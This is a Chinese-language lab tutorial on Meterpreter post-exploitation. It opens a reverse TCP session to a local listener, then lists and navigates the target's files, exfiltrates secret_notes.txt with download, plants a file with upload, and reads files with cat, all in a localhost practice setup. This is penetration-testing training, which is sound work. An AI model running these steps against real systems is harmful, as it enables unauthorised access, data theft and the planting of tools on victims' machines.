引言
在本实验中,你将学习使用 Meterpreter 与目标文件系统进行交互的基础技术。Meterpreter 是 Metasploit Framework 的一部分,是一个高级 payload。后渗透(Post-exploitation)是渗透测试的关键阶段,能够导航文件系统、下载敏感文件以及上传自己的工具或脚本是一项必备技能。
我们将逐步介绍建立 Meterpreter 会话的过程,然后使用 ls、cd、download、upload 和 cat 等核心命令来探索和操作受损系统上的文件。
使用 ls 命令列出文件和目录
在此步骤中,我们将首先建立一个 Meterpreter 会话,然后使用 ls 命令列出目标系统上的文件。我们的设置脚本已经创建了一个 payload (payload.elf) 和一个监听器配置文件 (listener.rc)。
首先,我们启动 Metasploit 监听器。它将等待来自 payload 的入站连接。我们使用 -r 标志来加载我们的资源文件,该文件可以自动化设置过程。
打开一个终端并运行以下命令:
msfconsole -r listener.rc
你将看到 Metasploit 控制台启动,并且监听器将作为后台作业运行。输出将类似于:
[*] Msfconsole tip: Use the resource command to run a script of
console commands.
...
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
msf6 >
现在,我们需要执行 payload 以连接到我们的监听器。打开一个新的终端,方法是点击终端标签栏中的 "+" 图标。在新终端中,执行位于你的 ~/project 目录中的 payload 文件。
./payload.elf
此命令不会产生任何输出。切换回你的第一个终端(运行 msfconsole 的那个)。你应该会看到一条消息,表明一个会话已打开。
[*] Sending stage (3021700 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43916) at 2023-10-27 10:30:00 -0400
msf6 > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
注意:如果你没有自动进入会话,你可以使用
sessions列出活动会话,并使用sessions -i <ID>(例如sessions -i 1)与之交互。
你现在处于一个 Meterpreter 会话中,这由 meterpreter > 提示符指示。在此处输入的任何命令都将在目标机器上执行。让我们使用 ls 命令列出目标当前目录中的文件。
ls
这将列出目标当前工作目录中的文件和目录。
meterpreter > ls
Listing: /home/labex/project
============================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100755/rwxr-xr-x 10152 fil rwx/- payload.elf
100644/rw-r--r-- 100 fil rw-/- listener.rc
使用 cd 命令更改目录
在此步骤中,你将学习如何在 Meterpreter 中使用 cd(更改目录)命令来导航目标的文件系统。这与标准的 Linux cd 命令工作方式相同。
我们的设置脚本在目标系统上创建了一个名为 /tmp/victim_files 的目录。让我们导航到 /tmp 目录。
cd /tmp
该命令本身不会产生任何输出。为了确认我们已更改目录,我们可以使用 pwd(打印工作目录)命令。
pwd
输出将显示你在目标机器上的当前目录。
meterpreter > pwd
/tmp
现在我们已进入 /tmp 目录,让我们使用 ls 列出其内容以找到 victim_files 目录。
ls
你应该会在 /tmp 中的其他文件和目录中看到 victim_files 目录。
meterpreter > ls
Listing: /tmp
============
Mode Size Type Perms Name
---- ---- ---- ----- ----
...
40777/rwxrwxrwx 4096 dir rwx/- victim_files
...
使用 download 命令从目标下载文件
在此步骤中,我们将从目标系统下载一个文件到我们自己的机器上。这是数据外泄(exfiltrating data)的关键技术。我们将使用 download 命令。
首先,让我们导航到在上一步中找到的 victim_files 目录。
cd victim_files
现在,列出此目录中的文件以找到我们的目标文件。
ls
你将看到由设置脚本创建的 secret_notes.txt 文件。
meterpreter > ls
Listing: /tmp/victim_files
=========================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100644/rw-r--r-- 37 fil rw-/- secret_notes.txt
现在,让我们将此文件下载到我们本地的 ~/project 目录。语法是 download <file_on_target>。默认情况下,它将下载到你当前的本地目录。
download secret_notes.txt
你应该会看到一条确认消息,表明下载成功。
[*] Downloading: secret_notes.txt -> /home/labex/project/secret_notes.txt
[*] Downloaded 37.00 B of 37.00 B (100.0%)
[*] download : /tmp/victim_files/secret_notes.txt -> /home/labex/project/secret_notes.txt
为了验证,你可以打开一个新终端(或使用你之前打开的第二个终端),并列出你本地机器上 ~/project 目录中的文件。
ls ~/project
现在你应该在文件列表中看到 secret_notes.txt。
使用 upload 命令将文件上传到目标
在此步骤中,你将学习如何使用 upload 命令将文件从你的机器上传到目标系统。这对于在目标上放置工具、脚本或其他 payload 非常有用。
首先,我们需要在本地机器上有一个文件可以上传。让我们创建一个。在你的本地 shell 终端(而不是 Meterpreter 会话)中,运行以下命令创建一个名为 attacker_file.txt 的文件。
echo "attacker data" > ~/project/attacker_file.txt
现在,切换回你的Meterpreter 会话。你应该仍然在目标上的 /tmp/victim_files 目录中。我们将把本地 ~/project 目录中的 attacker_file.txt 上传到目标的当前目录。
语法是 upload <local_file_path>。
upload /home/labex/project/attacker_file.txt
你将看到一个确认消息,表明上传成功。
[*] uploading: /home/labex/project/attacker_file.txt -> attacker_file.txt
[*] uploaded : /home/labex/project/attacker_file.txt -> attacker_file.txt
为了确认文件已在目标上,请在你的 Meterpreter 会话中运行 ls。
ls
你现在应该会看到 secret_notes.txt 和你新上传的 attacker_file.txt。
meterpreter > ls
Listing: /tmp/victim_files
=========================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100644/rw-r--r-- 14 fil rw-/- attacker_file.txt
100644/rw-r--r-- 37 fil rw-/- secret_notes.txt
使用 cat 命令查看文本文件内容
在最后一步中,我们将使用 Meterpreter 中的 cat 命令直接在目标的(target)文件系统中查看文件内容,而无需先下载它们。
在你的 Meterpreter 会话中,你应该仍然位于目标上的 /tmp/victim_files 目录。
首先,让我们查看原始文件 secret_notes.txt 的内容。
cat secret_notes.txt
该命令会将文件的内容直接打印到你的控制台。
meterpreter > cat secret_notes.txt
This is a secret file from the target.
接下来,让我们查看我们上传的文件 attacker_file.txt 的内容,以确认它已正确传输。
cat attacker_file.txt
你应该会看到我们在本地机器上创建的文本。
meterpreter > cat attacker_file.txt
attacker data
这个命令对于快速检查目标系统上的配置文件、日志或脚本非常有用。
总结
恭喜你完成了本次实验!你已经学会了与目标文件系统交互的基本 Meterpreter 命令。
你成功建立了 Meterpreter 会话,并练习了以下关键的后渗透(post-exploitation)命令:
ls: 列出文件和目录。cd: 导航文件系统。pwd: 识别当前工作目录。download: 将文件从目标提取(exfiltrate)到你的机器。upload: 将文件从你的机器放置到目标上。cat: 直接在目标上查看文本文件的内容。
掌握这些命令是熟练使用 Metasploit Framework 和执行有效渗透测试的基础步骤。


